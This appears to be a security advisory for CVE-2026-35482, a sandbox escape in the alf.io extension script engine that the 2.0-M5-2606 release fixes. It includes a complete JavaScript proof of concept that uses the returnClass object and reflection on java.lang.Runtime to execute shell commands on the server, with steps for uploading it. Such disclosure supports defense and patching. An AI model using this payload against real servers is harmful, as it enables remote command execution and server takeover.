CVE-2026-35482

An authenticated administrator can trigger this vulnerability by uploading a malicious extension script to the `/admin/api/extensions` endpoint. The script contains JavaScript that uses the injected `returnClass` object to access `java.lang.Runtime` via reflection. This allows arbitrary operating system commands to be executed on the server when the script's associated event fires, such as `INVOICE_GENERATION` [ref_id=1].

The vulnerability lies within the alf.io extension script engine, specifically in the `ScriptingExecutionService.executeScriptFinally()` method where the `returnClass` object is injected into the script scope. This injection allows for the bypass of static AST validation and the `JavaClassInterop` whitelist [ref_id=1].

Version 2.0-M5-2606 addresses the vulnerability by removing the unguarded injection of the `returnClass` object into the script scope. This prevents attackers from using Java reflection to bypass the sandbox and execute arbitrary commands, as the necessary entry point for reflection is no longer available [ref_id=1].

Paste the following into the alf.io extension editor (or POST it to /admin/api/extensions): ```javascript function getScriptMetadata() { return { id: 'rce-validate', displayName: 'RCE Validate', version: 0, async: false, events: ['TICKET_ASSIGNED','INVOICE_GENERATION'] }; }

function executeScript(scriptEvent) { var rtClass = returnClass.forName('java.lang.Runtime');

var strClass = returnClass.forName('java.lang.String');

var runtime = rtClass.getMethod('getRuntime').invoke(null);

var proc = rtClass.getMethod('exec', strClass).invoke(runtime, 'id');

var bytes = proc.getInputStream().readAllBytes();

var output = '';

for (var i = 0; i < bytes.length; i++) { output += String.fromCharCode(bytes[i] & 0xFF); } console.log(output); return { invoiceNumber: output }; } ``` The `id` command output will appear as the generated invoice number in the UI and in the extension log (GET /admin/api/extensions/log). Any shell command can be substituted [ref_id=1].